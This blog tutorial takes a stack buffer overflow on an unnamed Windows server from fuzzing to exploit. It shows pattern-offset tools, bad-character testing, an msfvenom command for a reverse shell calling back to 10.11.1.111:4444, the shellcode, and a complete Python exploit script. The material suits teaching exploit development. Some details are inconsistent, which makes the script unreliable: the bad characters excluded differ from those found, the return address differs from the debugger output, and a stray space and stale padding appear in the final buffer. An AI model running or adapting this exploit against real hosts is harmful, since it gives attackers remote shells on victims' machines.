Thumbnail: logo

Stack Based Buffer Overflow - from fuzzing to exploit

by on under tutorials

This post is not meant to cover all the inner details about how the stack works behind the scene. However, this can be a starting point for anyone willing to understand basic fuzzing and debugging, and how a simple buffer overflow exploit can be crafted.
By definition, fuzzing is an “automated software testing technique that involves providing invalid, unexpected, or random data as inputs to a computer program”.

1. Fuzzing
For instance, we can begin to fuzz a vulnerable server program with the below skeleton code, which is taking as argument an IP address and the listening port.
The python fuzzer will probe the server and send bigger data, 10 bytes each time.
Both max_buffer and increment variable can be tuned to change the fuzzer behavior (faster vs more granular). While we fuzz/test the server, we attach the debugger at the running process and hope for a crash. A crash will occur if the server is not properly santizing user input and thus the Extended Instruction Pointer (EIP) can be overwritten with one of our “A”s.


#!/usr/bin/python
import time, struct, sys
import socket as so


# Create an array of buffers, from 1 to 1000 elements, with increments of 200 bytes each.
buff=["A"]
# max number of buffers in the array
max_buffer = 1000
# initial value of the counter
counter=100
# increment value
increment=200

while len(buff) <= max_buffer:
    buff.append("A"*counter)
    counter=counter+increment

for string in buff:
    try:
        server = sys.argv[1]
        port = sys.argv[2]
    except IndexError:
        print "[+] Usage %s host + port " % sys.argv[0]
        sys.exit()

    print "Fuzzing with %s bytes" % len(string)
    s = so.socket(so.AF_INET, so.SOCK_STREAM)
    try:
        s.connect((server, port))
        print s.recv(1024)
        s.send( string+'\r\n')
        s.send('exit\r\n')
        print s.recv(1024)
    except:
        print "[!] connection refused, check debugger"
        sys(exit)


2. What’s up EIP?
If everything goes well we should see the EIP written with four times x41, which is the character ‘A’ in hexadecimal.
So, why do we care if the EIP get overwritten?
The EIP is one of many extended 32 bit registers part of the original 8086 16 bit architecture, which is responsible for executing the next program instruction.
As you might have guessed, replacing the EIP value means hijacking the application flow, which can in turn lead to arbitrary code execution.

3. Measuring EIP offset
So, if we want to rewrite the EIP we must know the exact distance between our start buffer and the EIP itself.
A nice Ruby tool named ‘pattern create’, which is pre-installed in Kali Linux, can come to our aid.
Given a ‘crasing buffer size’ it will generate different pattern every 4 bytes, so the EIP will be colored with a specific pattern.
Let’s say we managed to crash our server with 3000 bytes, then we can run:

 /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000

 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9

Now we can send this pattern through below exploit skeleton and then fire up our debugger and verify the EIP value.

#!/usr/bin/python
import time, struct, sys
import socket as so

### list of ascii chars to test ###
pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9"
<br><br>

# define buffer content
req1 = pattern
try:
    server = sys.argv[1]
    port = sys.argv[2]
except IndexError:
    print "[+] Usage %s host %s port" % sys.argv[0],sys.argv[1]
    sys.exit()

s = so.socket(so.AF_INET, so.SOCK_STREAM)
try:
     s.connect((server, port))
     print repr(s.recv(1024))
     s.send(req1)
     print repr(s.recv(1024))
except:
     print "[!] connection refused, check debugger"
s.close()


We have noted the EIP new value, which for the sake of this demonstration we assume is ‘33734232’. That value is a 4 bytes hex little endian representation of ascii characters in our pattern string. Now it’s time to calculate the exact offset by using another Ruby tool, already present in Kali Linux.


/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 33734232
[*] Exact match at offset 1328


Great, so 1328 bytes is the offset needed to predictably overwrite the EIP.

4. EIP, obey your master!

Let’s rewrite the script buffer variable to accommodate our new learned pattern offset + EIP value + room to fill the crash buffer
Our new buffer starts with a sequence of 1328 ‘A’s, a special value to mark the EIP (‘ABBA’) and fill remaining space with a trail of ‘C’s.
We let Python calculate the offset for us by subtracting the two amounts from the original buffer length.

buff = "A"*1328 + "ABBA" + "C"*(3000-1328-4)

The ‘C’ part of the buffer will be soon substituted with shellcode, which is typically between 300 and 500 bytes. In this case we have 1668 bytes, which is enough space to fit it. We now run again the script and verify that the EIP gets ‘ABBA’ as a value, which demonstrates we have control on program execution.
The ESP is a register that points to the beginning of our stack and is important to verify its location in memory with the debugger: in the best case scenario, as soon as our program stops at our newly rewritten EIP value, we should note that our ‘C’ trails is present right after execution. This means that if we could overwrite the EIP with a ‘jump to ESP’ instruction…

5. Oh, what a badchar!

Before jumping to shellcode, let’s test if there are any well known bad character, by including them all as a hex string variable in our PoC.
A bad char is simply an ascii character that can break code execution, such as 0x00 (Null) or 0x0A (line feed).
Bad characters can vary from application to application, so all of them should be tested. The badchar string is now replacing our ‘C’s, in our soon-to-be shellcode space. Every time a badchar is detected with the debugger, that character is simply not appearing int the dumped memory area, after following ESP.
If this is the case, that char should be removed from the list and we should proceed with the next debugging round, until the whole string is visible in memory. (with the obvious exception of the previously omitted chars.)

badchars = ("\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

buff = "A"*1328 + "ABBA" + badchars

After testing, we have discovered these two bad chars: x00 and x04

6. Jump here, not there!

What is missing now is the return address used to overwrite the EIP, which will point to ESP to point to ESP each time the program is loaded.
However, the ESP value could change at runtime, due to stack based threaded behavior of some application or presence or ASLR/DEP Another approach would be to find a JMP_ESP in a preloaded DLL, as long as it has a fixed location in memory at each execution.
For example, Mona script, included inside Immunity Debugger, can help us find those instructions:

!mona modules # find all modules loaded by the app
- output omitted -
Message= 0x64240000 | 0x6429e000 | 0x0005e000 | False | False | False | False | False | -1.0- [example_dll.dll] (C:\Users\admin\Desktop\example_dll.dll)


Which returns only one module not having any protection mechanism enabled (the five times ‘False’ results)

Great! So now we just have to find a JUMP to ESP instruction in the ‘example_dll.dll’ module.
First, we have to translate JMP ESP to NASM syntax:

/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb nasm > JMP ESP
00000000 FFE4 jmp esp

So FFE4 is the hex opcode equivalent for the JMP ESP instruction.
Let’s try to find with Immunity Debugger if in our running program there is any ‘JMP ESP’ and where is located in memory::

!mona find -s "\xff\xe4" -m example_dll.dll
Log data, item 3
Address=65226385 Message= 0x64246683 : "\xff\xe4" | {PAGE_EXECUTE_READ} [example_dll.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False

So we found our return address to be 65226385, which will be stored in little endian format in our proof of concept script.

7.Enter the shellcode

Since we might have enough room to fit our shellcode in the ‘C’ place, we can proceed generating one with msfvenom, taking into account platform and architecture, in addition to bad characters discovered previously. The below code is spawning a reverse shell by connecting to the attacker address on TCP port 4444.

msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=10.11.1.111 LPORT=4444  -b "\x00\x0a" -f python

Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1684 bytes
buf =  ""
buf += "\xbf\x93\x3f\x5c\xec\xd9\xeb\xd9\x74\x24\xf4\x5a\x29"
buf += "\xc9\xb1\x52\x31\x7a\x12\x03\x7a\x12\x83\x51\x3b\xbe"
buf += "\x19\xa9\xac\xbc\xe2\x51\x2d\xa1\x6b\xb4\x1c\xe1\x08"
buf += "\xbd\x0f\xd1\x5b\x93\xa3\x9a\x0e\x07\x37\xee\x86\x28"
buf += "\xf0\x45\xf1\x07\x01\xf5\xc1\x06\x81\x04\x16\xe8\xb8"
buf += "\xc6\x6b\xe9\xfd\x3b\x81\xbb\x56\x37\x34\x2b\xd2\x0d"
buf += "\x85\xc0\xa8\x80\x8d\x35\x78\xa2\xbc\xe8\xf2\xfd\x1e"
buf += "\x0b\xd6\x75\x17\x13\x3b\xb3\xe1\xa8\x8f\x4f\xf0\x78"
buf += "\xde\xb0\x5f\x45\xee\x42\xa1\x82\xc9\xbc\xd4\xfa\x29"
buf += "\x40\xef\x39\x53\x9e\x7a\xd9\xf3\x55\xdc\x05\x05\xb9"
buf += "\xbb\xce\x09\x76\xcf\x88\x0d\x89\x1c\xa3\x2a\x02\xa3"
buf += "\x63\xbb\x50\x80\xa7\xe7\x03\xa9\xfe\x4d\xe5\xd6\xe0"
buf += "\x2d\x5a\x73\x6b\xc3\x8f\x0e\x36\x8c\x7c\x23\xc8\x4c"
buf += "\xeb\x34\xbb\x7e\xb4\xee\x53\x33\x3d\x29\xa4\x34\x14"
buf += "\x8d\x3a\xcb\x97\xee\x13\x08\xc3\xbe\x0b\xb9\x6c\x55"
buf += "\xcb\x46\xb9\xfa\x9b\xe8\x12\xbb\x4b\x49\xc3\x53\x81"
buf += "\x46\x3c\x43\xaa\x8c\x55\xee\x51\x47\x50\xe4\x58\xf8"
buf += "\x0c\xf8\x5a\x17\x91\x75\xbc\x7d\x39\xd0\x17\xea\xa0"
buf += "\x79\xe3\x8b\x2d\x54\x8e\x8c\xa6\x5b\x6f\x42\x4f\x11"
buf += "\x63\x33\xbf\x6c\xd9\x92\xc0\x5a\x75\x78\x52\x01\x85"
buf += "\xf7\x4f\x9e\xd2\x50\xa1\xd7\xb6\x4c\x98\x41\xa4\x8c"
buf += "\x7c\xa9\x6c\x4b\xbd\x34\x6d\x1e\xf9\x12\x7d\xe6\x02"
buf += "\x1f\x29\xb6\x54\xc9\x87\x70\x0f\xbb\x71\x2b\xfc\x15"
buf += "\x15\xaa\xce\xa5\x63\xb3\x1a\x50\x8b\x02\xf3\x25\xb4"
buf += "\xab\x93\xa1\xcd\xd1\x03\x4d\x04\x52\x33\x04\x04\xf3"
buf += "\xdc\xc1\xdd\x41\x81\xf1\x08\x85\xbc\x71\xb8\x76\x3b"
buf += "\x69\xc9\x73\x07\x2d\x22\x0e\x18\xd8\x44\xbd\x19\xc9"


Which gave us 351 bytes of Python-formatted shellcode, enough to fit in our script. We can further modify our PoC by inserting our return address and shellcode, together with 16 NOP, as a precautionary measure.

buff = "A"*1328 + " \x85\x63\x22\x65" + "\x90" * 16 + shellcode + "C" *(3000-1328-4)


At this point we can feel confident enough to fire up our exploit while listening for a reverse shell on port 4444.

Here is the complete exploit:

#!/usr/bin/python
import time, struct, sys
import socket as so

shellcode =  ""
shellcode += "\xbf\x93\x3f\x5c\xec\xd9\xeb\xd9\x74\x24\xf4\x5a\x29"
shellcode += "\xc9\xb1\x52\x31\x7a\x12\x03\x7a\x12\x83\x51\x3b\xbe"
shellcode += "\x19\xa9\xac\xbc\xe2\x51\x2d\xa1\x6b\xb4\x1c\xe1\x08"
shellcode += "\xbd\x0f\xd1\x5b\x93\xa3\x9a\x0e\x07\x37\xee\x86\x28"
shellcode += "\xf0\x45\xf1\x07\x01\xf5\xc1\x06\x81\x04\x16\xe8\xb8"
shellcode += "\xc6\x6b\xe9\xfd\x3b\x81\xbb\x56\x37\x34\x2b\xd2\x0d"
shellcode += "\x85\xc0\xa8\x80\x8d\x35\x78\xa2\xbc\xe8\xf2\xfd\x1e"
shellcode += "\x0b\xd6\x75\x17\x13\x3b\xb3\xe1\xa8\x8f\x4f\xf0\x78"
shellcode += "\xde\xb0\x5f\x45\xee\x42\xa1\x82\xc9\xbc\xd4\xfa\x29"
shellcode += "\x40\xef\x39\x53\x9e\x7a\xd9\xf3\x55\xdc\x05\x05\xb9"
shellcode += "\xbb\xce\x09\x76\xcf\x88\x0d\x89\x1c\xa3\x2a\x02\xa3"
shellcode += "\x63\xbb\x50\x80\xa7\xe7\x03\xa9\xfe\x4d\xe5\xd6\xe0"
shellcode += "\x2d\x5a\x73\x6b\xc3\x8f\x0e\x36\x8c\x7c\x23\xc8\x4c"
shellcode += "\xeb\x34\xbb\x7e\xb4\xee\x53\x33\x3d\x29\xa4\x34\x14"
shellcode += "\x8d\x3a\xcb\x97\xee\x13\x08\xc3\xbe\x0b\xb9\x6c\x55"
shellcode += "\xcb\x46\xb9\xfa\x9b\xe8\x12\xbb\x4b\x49\xc3\x53\x81"
shellcode += "\x46\x3c\x43\xaa\x8c\x55\xee\x51\x47\x50\xe4\x58\xf8"
shellcode += "\x0c\xf8\x5a\x17\x91\x75\xbc\x7d\x39\xd0\x17\xea\xa0"
shellcode += "\x79\xe3\x8b\x2d\x54\x8e\x8c\xa6\x5b\x6f\x42\x4f\x11"
shellcode += "\x63\x33\xbf\x6c\xd9\x92\xc0\x5a\x75\x78\x52\x01\x85"
shellcode += "\xf7\x4f\x9e\xd2\x50\xa1\xd7\xb6\x4c\x98\x41\xa4\x8c"
shellcode += "\x7c\xa9\x6c\x4b\xbd\x34\x6d\x1e\xf9\x12\x7d\xe6\x02"
shellcode += "\x1f\x29\xb6\x54\xc9\x87\x70\x0f\xbb\x71\x2b\xfc\x15"
shellcode += "\x15\xaa\xce\xa5\x63\xb3\x1a\x50\x8b\x02\xf3\x25\xb4"
shellcode += "\xab\x93\xa1\xcd\xd1\x03\x4d\x04\x52\x33\x04\x04\xf3"
shellcode += "\xdc\xc1\xdd\x41\x81\xf1\x08\x85\xbc\x71\xb8\x76\x3b"
shellcode += "\x69\xc9\x73\x07\x2d\x22\x0e\x18\xd8\x44\xbd\x19\xc9"

req1 = "A"*1328 + " \x85\x63\x22\x65" + "\x90" * 16 + shellcode + "C" *(3000-1328-4)

try:
    server = sys.argv[1]
    port = sys.argv[2]
except IndexError:
    print "[+] Usage %s host %s port" % sys.argv[0],sys.argv[1]
    sys.exit()

s = so.socket(so.AF_INET, so.SOCK_STREAM)
try:
     s.connect((server, port))
     print repr(s.recv(1024))
     s.send(req1)
     print repr(s.recv(1024))
except:
     print "[!] connection refused, check debugger"
